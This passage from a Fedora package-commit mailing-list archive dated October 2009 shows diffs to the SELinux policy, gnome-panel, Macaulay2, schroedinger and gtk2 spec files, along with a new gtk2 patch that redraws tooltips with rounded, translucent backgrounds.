  		type user_tmp_t;
  	')
  
 -	allow $1 user_tmp_t:file write_file_perms;
 +	write_files_pattern($1, user_tmp_t, user_tmp_t)
+ ')
+ 
+ ########################################
+ ## <summary>
+-##	Do not audit attempts to use user ttys.
++##	Delete all users files in /tmp
+ ## </summary>
+ ## <param name="domain">
+ ##	<summary>
+@@ -2910,17 +3080,17 @@
+ ##	</summary>
+ ## </param>
+ #
+-interface(`userdom_dontaudit_use_user_ttys',`
++interface(`userdom_delete_user_tmp_files',`
+ 	gen_require(`
+-		type user_tty_device_t;
++		type user_tmp_t;
+ 	')
+ 
+-	dontaudit $1 user_tty_device_t:chr_file rw_file_perms;
++	allow $1 user_tmp_t:file delete_file_perms;
+ ')
+ 
+ ########################################
+ ## <summary>
+-##	Read the process state of all user domains.
++##	Do not audit attempts to use user ttys.
+ ## </summary>
+ ## <param name="domain">
+ ##	<summary>
+@@ -2928,12 +3098,31 @@
+ ##	</summary>
+ ## </param>
+ #
+-interface(`userdom_read_all_users_state',`
++interface(`userdom_dontaudit_use_user_ttys',`
++	gen_require(`
++		type user_tty_device_t;
++	')
++
++	dontaudit $1 user_tty_device_t:chr_file rw_file_perms;
 +')
 +
 +########################################
 +## <summary>
-+##	Delete all users files in /tmp
++##	Read the process state of all user domains.
 +## </summary>
 +## <param name="domain">
 +##	<summary>
@@ -30096,16 +30232,9 @@ diff -b -B --ignore-all-space --exclude-
 +##	</summary>
 +## </param>
 +#
-+interface(`userdom_delete_user_tmp_files',`
-+	gen_require(`
-+		type user_tmp_t;
-+	')
-+
-+	allow $1 user_tmp_t:file delete_file_perms;
- ')
- 
- ########################################
-@@ -2934,6 +3117,7 @@
++interface(`userdom_read_all_users_state',`
+ 	gen_require(`
+ 		attribute userdomain;
  	')
  
  	read_files_pattern($1, userdomain, userdomain)
@@ -30113,7 +30242,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_search_proc($1)
  ')
  
-@@ -3064,3 +3248,559 @@
+@@ -3064,3 +3253,559 @@
  
  	allow $1 userdomain:dbus send_msg;
  ')
@@ -30675,7 +30804,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.te serefpolicy-3.6.32/policy/modules/system/userdomain.te
 --- nsaserefpolicy/policy/modules/system/userdomain.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.te	2009-10-20 14:58:48.000000000 -0400
 @@ -8,13 +8,6 @@
  
  ## <desc>
@@ -30690,21 +30819,20 @@ diff -b -B --ignore-all-space --exclude-
  ## Allow users to connect to PostgreSQL
  ## </p>
  ## </desc>
-@@ -29,13 +22,6 @@
+@@ -29,10 +22,10 @@
  
  ## <desc>
  ## <p>
 -## Allow users to read system messages.
--## </p>
--## </desc>
--gen_tunable(user_dmesg, false)
--
--## <desc>
--## <p>
- ## Allow user to r/w files on filesystems
- ## that do not have extended attributes (FAT, CDROM, FLOPPY)
++## Allow regular users direct dri device access
  ## </p>
-@@ -54,11 +40,20 @@
+ ## </desc>
+-gen_tunable(user_dmesg, false)
++gen_tunable(user_direct_dri, false)
+ 
+ ## <desc>
+ ## <p>
+@@ -54,11 +47,20 @@
  # all user domains
  attribute userdomain;
  
@@ -30727,7 +30855,7 @@ diff -b -B --ignore-all-space --exclude-
  
  type user_home_dir_t alias { staff_home_dir_t sysadm_home_dir_t secadm_home_dir_t auditadm_home_dir_t unconfined_home_dir_t };
  fs_associate_tmpfs(user_home_dir_t)
-@@ -72,6 +67,7 @@
+@@ -72,6 +74,7 @@
  
  type user_home_t alias { staff_home_t sysadm_home_t secadm_home_t auditadm_home_t unconfined_home_t };
  typealias user_home_t alias { staff_untrusted_content_t sysadm_untrusted_content_t secadm_untrusted_content_t auditadm_untrusted_content_t unconfined_untrusted_content_t };
@@ -30735,7 +30863,7 @@ diff -b -B --ignore-all-space --exclude-
  userdom_user_home_content(user_home_t)
  fs_associate_tmpfs(user_home_t)
  files_associate_tmp(user_home_t)
-@@ -97,3 +93,25 @@
+@@ -97,3 +100,25 @@
  type user_tty_device_t alias { staff_tty_device_t sysadm_tty_device_t secadm_tty_device_t auditadm_tty_device_t unconfined_tty_device_t };
  dev_node(user_tty_device_t)
  ubac_constrained(user_tty_device_t)


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.946
retrieving revision 1.947
diff -u -p -r1.946 -r1.947
--- selinux-policy.spec	19 Oct 2009 19:05:56 -0000	1.946
+++ selinux-policy.spec	20 Oct 2009 22:59:51 -0000	1.947
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 29%{?dist}
+Release: 30%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,9 @@ exit 0
 %endif
 
 %changelog
+* Tue Oct 20 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-30
+- Fixes found for confined users day
+
 * Sat Oct 17 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-29
 - Allow ccs to communicate with userdomains, and create tmpfs_t
 - Add /dev/noz* as a modem_device_t and allow modemmanager to rw it.



From mclasen at fedoraproject.org  Tue Oct 20 23:22:54 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 23:22:54 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 gnome-panel.spec,1.380,1.381
Message-ID: <20091020232255.0326711C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1407

Modified Files:
	gnome-panel.spec 
Log Message:
rmeove debugging stuff



Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.380
retrieving revision 1.381
diff -u -p -r1.380 -r1.381
--- gnome-panel.spec	20 Oct 2009 22:40:15 -0000	1.380
+++ gnome-panel.spec	20 Oct 2009 23:22:53 -0000	1.381
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 10%{?dist}
+Release: 11%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -385,8 +385,11 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Tue Ict 20 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-11
+- Remove a leftover debugging statement
+
 * Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-10
-- Reduce the inter-applet padding 
+- Reduce the inter-applet padding
 
 * Mon Oct 19 2009 Ray Strode <rstrode at redhat.com> 2.28.0-9
 - Add explicit libs requires (bug 525600)



From rdieter at fedoraproject.org  Tue Oct 20 23:25:27 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 23:25:27 +0000 (UTC)
Subject: rpms/Macaulay2/F-12 .cvsignore, 1.10, 1.11 Macaulay2.spec, 1.54,
	1.55 sources, 1.10, 1.11 Macaulay2-1.2-pari.patch, 1.1,
	NONE Macaulay2-1.2-prefix.patch, 1.1, NONE
Message-ID: <20091020232527.5964511C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/Macaulay2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2197

Modified Files:
	.cvsignore Macaulay2.spec sources 
Removed Files:
	Macaulay2-1.2-pari.patch Macaulay2-1.2-prefix.patch 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-7.r8438
- Macaulay-1.2-r8438
- drop pari support (for now)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Macaulay2/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	13 Feb 2009 21:30:02 -0000	1.10
+++ .cvsignore	20 Oct 2009 23:25:26 -0000	1.11
@@ -1,6 +1,3 @@
 clog
 Macaulay2.png
-Macaulay2-0.9.20-20060808svn.tar.bz2
-Macaulay2-0.9.95-src.tar.gz
-Macaulay2-1.1-src.tar.gz
-Macaulay2-1.2-src.tar.bz2
+Macaulay2-1.2-r8438-src.tar.bz2


Index: Macaulay2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Macaulay2/F-12/Macaulay2.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- Macaulay2.spec	23 Sep 2009 01:02:40 -0000	1.54
+++ Macaulay2.spec	20 Oct 2009 23:25:27 -0000	1.55
@@ -1,5 +1,6 @@
 
 #define pre 20090202svn
+%define pre r8438
 
 %define emacs_sitelisp  %{_datadir}/emacs/site-lisp/
 %define xemacs_sitelisp %{_datadir}/xemacs/site-packages/lisp/
@@ -7,12 +8,12 @@
 Summary: System for algebraic geometry and commutative algebra
 Name:    Macaulay2
 Version: 1.2
-Release: 6%{?dist}
+Release: 7.%{pre}%{?dist}
 
 License: GPLv2
 Group:   Applications/Engineering
 URL:     http://www.math.uiuc.edu/Macaulay2/
-Source0: http://www.math.uiuc.edu/Macaulay2/Downloads/SourceCode/Macaulay2-%{version}-src.tar.bz2
+Source0: http://www.math.uiuc.edu/Macaulay2/Downloads/SourceCode/Macaulay2-%{version}%{?pre:-%{pre}}-src.tar.bz2
 #Source0: Macaulay2-%{version}-%{pre}.tar.bz2
 Source1: Macaulay2-svn_checkout.sh
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -26,8 +27,6 @@ Source20: etags.sh
 
 Patch0: Macaulay2-1.1-optflags.patch
 Patch1: Macaulay2-1.2-xdg_open.patch
-Patch2: Macaulay2-1.2-pari.patch
-Patch7:  Macaulay2-1.2-prefix.patch
 Patch201739: Macaulay2-0.9.95-bz201739.patch
 
 BuildRequires: autoconf
@@ -47,7 +46,7 @@ BuildRequires: libfac-devel >= 3.1
 BuildRequires: lapack-devel
 BuildRequires: mpfr-devel
 BuildRequires: ntl-devel >= 5.4.1
-BuildRequires: pari-devel
+#BuildRequires: pari-devel
 BuildRequires: readline-devel ncurses-devel
 BuildRequires: time
 
@@ -72,14 +71,12 @@ and Michael E. Stillman
 
 
 %prep
-%setup -q 
+%setup -q -n %{name}-%{version}%{?pre:-%{pre}}
 
 install -p -m755 %{SOURCE20} ./etags
 
 %patch0 -p1 -b .optflags
 %patch1 -p1 -b .xdg_open
-%patch2 -p1 -b .pari
-#patch7 -p1 -b .prefix
 %patch201739 -p1 -b .bz201739
 
 [ -f configure -a -f include/config.h ] || make 
@@ -211,6 +208,10 @@ fi
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-7.r8438
+- Macaulay-1.2-r8438
+- drop pari support (for now)
+
 * Tue Sep 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-6
 - fixup/optimize scriplets
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Macaulay2/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	13 Feb 2009 21:30:02 -0000	1.10
+++ sources	20 Oct 2009 23:25:27 -0000	1.11
@@ -1,2 +1,2 @@
 cbd99341ddfbed3f87dfd062e4673937  Macaulay2.png
-e1a84001028f48ed21d6b21f598a7cb4  Macaulay2-1.2-src.tar.bz2
+6fc30e957d209829f90dbcc263bbe5e8  Macaulay2-1.2-r8438-src.tar.bz2


--- Macaulay2-1.2-pari.patch DELETED ---


--- Macaulay2-1.2-prefix.patch DELETED ---



From kwizart at fedoraproject.org  Tue Oct 20 23:31:14 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 23:31:14 +0000 (UTC)
Subject: rpms/schroedinger/F-12 schroedinger.spec,1.16,1.17
Message-ID: <20091020233114.E468A11C00EB@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/schroedinger/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2940/F-12

Modified Files:
	schroedinger.spec 
Log Message:
- Update to 1.0.8
- gstreamer-plugins-schroedinger is now in bad.



Index: schroedinger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/F-12/schroedinger.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- schroedinger.spec	20 Oct 2009 22:45:18 -0000	1.16
+++ schroedinger.spec	20 Oct 2009 23:31:14 -0000	1.17
@@ -2,7 +2,7 @@
 
 Name:           schroedinger
 Version:        1.0.8
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Portable libraries for the high quality Dirac video codec
 
 Group:          System Environment/Libraries
@@ -13,10 +13,14 @@ Source0:	http://www.diracvideo.org/downl
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  liboil-devel >= 0.3.16
+BuildRequires:  glew-devel >= 1.5.1
 BuildRequires:  gstreamer-devel >= 0.10
 BuildRequires:  gstreamer-plugins-base-devel >= 0.10
 BuildRequires:  gtk-doc
 
+#Moved to -bad - need to be investigated.
+Obsoletes:  gstreamer-plugins-schroedinger < %{version}
+
 %description
 The Schr?dinger project will implement portable libraries for the high
 quality Dirac video codec created by BBC Research and
@@ -37,12 +41,6 @@ Requires:	liboil-devel >= 0.3.16
 %description devel
 Development files for schroedinger
 
-%package -n gstreamer-plugins-schroedinger
-Group:          Applications/Multimedia
-Summary:        GStreamer Plugins that implement Dirac video encoding and decoding
-
-%description -n gstreamer-plugins-schroedinger
-GStreamer Plugins that implement Dirac video encoding and decoding
 
 %prep
 %setup -q
@@ -75,13 +73,11 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/schroedinger-%{abi}.pc
 
-%files -n gstreamer-plugins-schroedinger
-%defattr(-,root,root,-)
-%{_libdir}/gstreamer-0.10/libgstschro.so
 
 %changelog
-* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.8-1
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.8-2
 - Update to 1.0.8
+- gstreamer-plugins-schroedinger is now in bad.
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From kwizart at fedoraproject.org  Tue Oct 20 23:31:14 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 23:31:14 +0000 (UTC)
Subject: rpms/schroedinger/devel schroedinger.spec,1.16,1.17
Message-ID: <20091020233114.C93B711C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/schroedinger/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2940/devel

Modified Files:
	schroedinger.spec 
Log Message:
- Update to 1.0.8
- gstreamer-plugins-schroedinger is now in bad.



Index: schroedinger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/devel/schroedinger.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- schroedinger.spec	20 Oct 2009 22:44:36 -0000	1.16
+++ schroedinger.spec	20 Oct 2009 23:31:14 -0000	1.17
@@ -2,7 +2,7 @@
 
 Name:           schroedinger
 Version:        1.0.8
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Portable libraries for the high quality Dirac video codec
 
 Group:          System Environment/Libraries
@@ -13,10 +13,14 @@ Source0:	http://www.diracvideo.org/downl
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  liboil-devel >= 0.3.16
+BuildRequires:  glew-devel >= 1.5.1
 BuildRequires:  gstreamer-devel >= 0.10
 BuildRequires:  gstreamer-plugins-base-devel >= 0.10
 BuildRequires:  gtk-doc
 
+#Moved to -bad - need to be investigated.
+Obsoletes:  gstreamer-plugins-schroedinger < %{version}
+
 %description
 The Schr?dinger project will implement portable libraries for the high
 quality Dirac video codec created by BBC Research and
@@ -37,12 +41,6 @@ Requires:	liboil-devel >= 0.3.16
 %description devel
 Development files for schroedinger
 
-%package -n gstreamer-plugins-schroedinger
-Group:          Applications/Multimedia
-Summary:        GStreamer Plugins that implement Dirac video encoding and decoding
-
-%description -n gstreamer-plugins-schroedinger
-GStreamer Plugins that implement Dirac video encoding and decoding
 
 %prep
 %setup -q
@@ -75,13 +73,11 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/schroedinger-%{abi}.pc
 
-%files -n gstreamer-plugins-schroedinger
-%defattr(-,root,root,-)
-%{_libdir}/gstreamer-0.10/libgstschro.so
 
 %changelog
-* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.8-1
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.8-2
 - Update to 1.0.8
+- gstreamer-plugins-schroedinger is now in bad.
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From mclasen at fedoraproject.org  Tue Oct 20 23:32:39 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 23:32:39 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 gnome-panel.spec,1.381,1.382
Message-ID: <20091020233239.DCEC011C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4683

Modified Files:
	gnome-panel.spec 
Log Message:
fix spec



Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.381
retrieving revision 1.382
diff -u -p -r1.381 -r1.382
--- gnome-panel.spec	20 Oct 2009 23:22:53 -0000	1.381
+++ gnome-panel.spec	20 Oct 2009 23:32:39 -0000	1.382
@@ -385,7 +385,7 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
-* Tue Ict 20 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-11
+* Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-11
 - Remove a leftover debugging statement
 
 * Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-10



From rdieter at fedoraproject.org  Tue Oct 20 23:35:24 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 23:35:24 +0000 (UTC)
Subject: rpms/Macaulay2/F-12 Macaulay2.spec,1.55,1.56
Message-ID: <20091020233524.67A8E11C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/Macaulay2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5637

Modified Files:
	Macaulay2.spec 
Log Message:
--disable-pari



Index: Macaulay2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Macaulay2/F-12/Macaulay2.spec,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- Macaulay2.spec	20 Oct 2009 23:25:27 -0000	1.55
+++ Macaulay2.spec	20 Oct 2009 23:35:24 -0000	1.56
@@ -97,7 +97,8 @@ CXXFLAGS="%{optflags}" \
   --enable-shared \
   --disable-strip \
   --disable-building \
-  --disable-frobby
+  --disable-frobby \
+  --disable-pari
 
 # Not smp-safe
 make 



From mclasen at fedoraproject.org  Tue Oct 20 23:36:43 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 23:36:43 +0000 (UTC)
Subject: rpms/gtk2/F-12 fresh-tooltips.patch,NONE,1.1 gtk2.spec,1.415,1.416
Message-ID: <20091020233643.1E4C311C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6694

Modified Files:
	gtk2.spec 
Added Files:
	fresh-tooltips.patch 
Log Message:
Fresh tooltips look


fresh-tooltips.patch:
 gtktooltip.c |  198 +++++++++++++++++++++++++++++++++++++++++++++++++++++------
 1 file changed, 179 insertions(+), 19 deletions(-)

--- NEW FILE fresh-tooltips.patch ---
diff -up gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips gtk+-2.18.3/gtk/gtktooltip.c
--- gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips	2009-10-16 10:35:45.000000000 -0400
+++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-20 15:14:00.479415361 -0400
@@ -95,6 +95,7 @@ static void       gtk_tooltip_display_cl
 						    GtkTooltip      *tooltip);
 static void       gtk_tooltip_set_last_window      (GtkTooltip      *tooltip,
 						    GdkWindow       *window);
+static void       update_shape                     (GtkTooltip      *tooltip);
 
 
 G_DEFINE_TYPE (GtkTooltip, gtk_tooltip, G_TYPE_OBJECT);
@@ -110,8 +111,18 @@ gtk_tooltip_class_init (GtkTooltipClass 
 }
 
 static void
+on_composited_changed (GtkWidget  *window,
+                       GtkTooltip *tooltip)
+{
+  update_shape (tooltip);
+}
+
+static void
 gtk_tooltip_init (GtkTooltip *tooltip)
 {
+  GdkScreen *screen;
+  GdkColormap *rgba;
+
   tooltip->timeout_id = 0;
   tooltip->browse_mode_timeout_id = 0;
 
@@ -127,8 +138,15 @@ gtk_tooltip_init (GtkTooltip *tooltip)
   tooltip->last_window = NULL;
 
   tooltip->window = g_object_ref (gtk_window_new (GTK_WINDOW_POPUP));
+
+  screen = gtk_widget_get_screen (tooltip->window);
+  rgba = gdk_screen_get_rgba_colormap (screen);
+  if (rgba)
+    gtk_widget_set_colormap (tooltip->window, rgba);
+
   gtk_window_set_type_hint (GTK_WINDOW (tooltip->window),
 			    GDK_WINDOW_TYPE_HINT_TOOLTIP);
+
   gtk_widget_set_app_paintable (tooltip->window, TRUE);
   gtk_window_set_resizable (GTK_WINDOW (tooltip->window), FALSE);
   gtk_widget_set_name (tooltip->window, "gtk-tooltip");
@@ -145,7 +163,7 @@ gtk_tooltip_init (GtkTooltip *tooltip)
   gtk_widget_show (tooltip->alignment);
 
   g_signal_connect_swapped (tooltip->window, "style-set",
-			    G_CALLBACK (gtk_tooltip_window_style_set), tooltip);
+		            G_CALLBACK (gtk_tooltip_window_style_set), tooltip);
   g_signal_connect_swapped (tooltip->window, "expose-event",
 			    G_CALLBACK (gtk_tooltip_paint_window), tooltip);
 
@@ -162,6 +180,9 @@ gtk_tooltip_init (GtkTooltip *tooltip)
   gtk_box_pack_start (GTK_BOX (tooltip->box), tooltip->label,
 		      FALSE, FALSE, 0);
 
+  g_signal_connect (tooltip->window, "composited-changed",
+                    G_CALLBACK (on_composited_changed), tooltip);
+
   tooltip->custom_widget = NULL;
 }
 
@@ -318,9 +339,9 @@ gtk_tooltip_set_icon_from_stock (GtkTool
  * Since: 2.14
  */
 void
-gtk_tooltip_set_icon_from_icon_name(GtkTooltip  *tooltip,
-				    const gchar *icon_name,
-				    GtkIconSize  size)
+gtk_tooltip_set_icon_from_icon_name (GtkTooltip  *tooltip,
+				     const gchar *icon_name,
+				     GtkIconSize  size)
 {
   g_return_if_fail (GTK_IS_TOOLTIP (tooltip));
 
@@ -471,27 +492,166 @@ static void
 gtk_tooltip_window_style_set (GtkTooltip *tooltip)
 {
   gtk_alignment_set_padding (GTK_ALIGNMENT (tooltip->alignment),
-			     tooltip->window->style->ythickness,
-			     tooltip->window->style->ythickness,
-			     tooltip->window->style->xthickness,
+	                     tooltip->window->style->ythickness,
+	                     tooltip->window->style->ythickness,
+		             tooltip->window->style->xthickness,
 			     tooltip->window->style->xthickness);
-
+  gtk_box_set_spacing (GTK_BOX (tooltip->box),
+                       tooltip->window->style->xthickness);
   gtk_widget_queue_draw (tooltip->window);
 }
 
+static void
+draw_round_rect (cairo_t *cr,
+                 gdouble  aspect,
+                 gdouble  x,
+                 gdouble  y,
+                 gdouble  corner_radius,
+                 gdouble  width,
+                 gdouble  height)
+{
+  gdouble radius = corner_radius / aspect;
+
+  cairo_move_to (cr, x + radius, y);
+
+  /* top-right, left of the corner */
+  cairo_line_to (cr, x + width - radius, y);
+
+  /* top-right, below the corner */
+  cairo_arc (cr,
+             x + width - radius, y + radius, radius,
+             -90.0f * G_PI / 180.0f, 0.0f * G_PI / 180.0f);
+
+  /* bottom-right, above the corner */
+  cairo_line_to (cr, x + width, y + height - radius);
+
+  /* bottom-right, left of the corner */
+  cairo_arc (cr,
+             x + width - radius, y + height - radius, radius,
+             0.0f * G_PI / 180.0f, 90.0f * G_PI / 180.0f);
+
+  /* bottom-left, right of the corner */
+  cairo_line_to (cr, x + radius, y + height);
+
+  /* bottom-left, above the corner */
+  cairo_arc (cr,
+             x + radius, y + height - radius, radius,
+             90.0f * G_PI / 180.0f, 180.0f * G_PI / 180.0f);
+
+  /* top-left, below the corner */
+  cairo_line_to (cr, x, y + radius);
+
+  /* top-left, right of the corner */
+  cairo_arc (cr,
+             x + radius, y + radius, radius,
+             180.0f * G_PI / 180.0f, 270.0f * G_PI / 180.0f);
+}
+
+static void
+fill_background (GtkWidget  *widget,
+                 cairo_t    *cr)
+{
+  GdkColor color;
+  gdouble  r, g, b;
+  gint     padding;
+  gint     radius;
+  gdouble  background_alpha;
+
+  if (gdk_screen_is_composited (gtk_widget_get_screen (widget)))
+    {
+      padding = 1;
+      background_alpha = 0.90;
+    }
+  else
+    {
+      padding = 0;
+      background_alpha = 1.0;
+    }
+
+  radius = MIN (widget->style->xthickness, widget->style->ythickness);
+  radius = MAX (radius, padding);
+
+  draw_round_rect (cr,
+                   1.0, padding, padding, radius,
+                   widget->allocation.width - 2 * padding,
+                   widget->allocation.height - 2 * padding);
+
+  color = widget->style->bg [GTK_STATE_NORMAL];
+  r = (float)color.red / 65535.0;
+  g = (float)color.green / 65535.0;
+  b = (float)color.blue / 65535.0;
+  cairo_set_source_rgba (cr, r, g, b, background_alpha);
+  cairo_fill_preserve (cr);
+
+#if 1
+  color = widget->style->text_aa [GTK_STATE_NORMAL];
+  r = (float) color.red / 65535.0;
+  g = (float) color.green / 65535.0;
+  b = (float) color.blue / 65535.0;
+#endif
+  cairo_set_source_rgba (cr, r, g, b, background_alpha / 2);
+  cairo_set_line_width (cr, 1);
+  cairo_stroke (cr);
+}
+
+static void
+update_shape (GtkTooltip *tooltip)
+{
+  GdkBitmap *mask;
+  cairo_t *cr;
+  gint width, height;
+
+  if (gdk_screen_is_composited (gtk_widget_get_screen (tooltip->window)))
+    {
+      gtk_widget_shape_combine_mask (tooltip->window, NULL, 0, 0);
+      return;
+    }
+
+  gtk_window_get_size (tooltip->window, &width, &height);
+  mask = (GdkBitmap *) gdk_pixmap_new (NULL, width, height, 1);
+  cr = gdk_cairo_create (mask);
+  if (cairo_status (cr) == CAIRO_STATUS_SUCCESS)
+    {
+      cairo_set_operator (cr, CAIRO_OPERATOR_CLEAR);
+      cairo_paint (cr);
+
+      cairo_set_operator (cr, CAIRO_OPERATOR_OVER);
+      cairo_set_source_rgb (cr, 1.0, 1.0, 1.0);
+      draw_round_rect (cr, 1.0, 0, 0, 4, width, height);
+      cairo_fill (cr);
+
+      gtk_widget_shape_combine_mask (tooltip->window, mask, 0, 0);
+    }
+  cairo_destroy (cr);
+
+  g_object_unref (mask);
+}
+
 static gboolean
 gtk_tooltip_paint_window (GtkTooltip *tooltip)
 {
-  gtk_paint_flat_box (tooltip->window->style,
-		      tooltip->window->window,
-		      GTK_STATE_NORMAL,
-		      GTK_SHADOW_OUT,
-		      NULL,
-		      tooltip->window,
-		      "tooltip",
-		      0, 0,
-		      tooltip->window->allocation.width,
-		      tooltip->window->allocation.height);
+  cairo_t         *context;
+  cairo_surface_t *surface;
+  cairo_t         *cr;
+
+  context = gdk_cairo_create (tooltip->window->window);
+
+  cairo_set_operator (context, CAIRO_OPERATOR_SOURCE);
+  surface = cairo_surface_create_similar (cairo_get_target (context),
+                                          CAIRO_CONTENT_COLOR_ALPHA,
+                                          tooltip->window->allocation.width,
+                                          tooltip->window->allocation.height);
+  cr = cairo_create (surface);
+
+  fill_background (tooltip->window, cr);
+
+  cairo_destroy (cr);
+  cairo_set_source_surface (context, surface, 0, 0);
+  cairo_paint (context);
+  cairo_surface_destroy (surface);
+  cairo_destroy (context);
+
+  update_shape (tooltip);
 
   return FALSE;
 }
@@ -631,7 +791,7 @@ find_widget_under_pointer (GdkWindow *wi
 
 #ifdef DEBUG_TOOLTIP
   g_print ("event window %p (belonging to %p (%s))  (%d, %d)\n",
-	   window, event_widget, gtk_widget_get_name (event_widget),
+	   gindow, event_widget, gtk_widget_get_name (event_widget),
 	   *x, *y);
 #endif
 


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.415
retrieving revision 1.416
diff -u -p -r1.415 -r1.416
--- gtk2.spec	18 Oct 2009 05:43:09 -0000	1.415
+++ gtk2.spec	20 Oct 2009 23:36:42 -0000	1.416
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
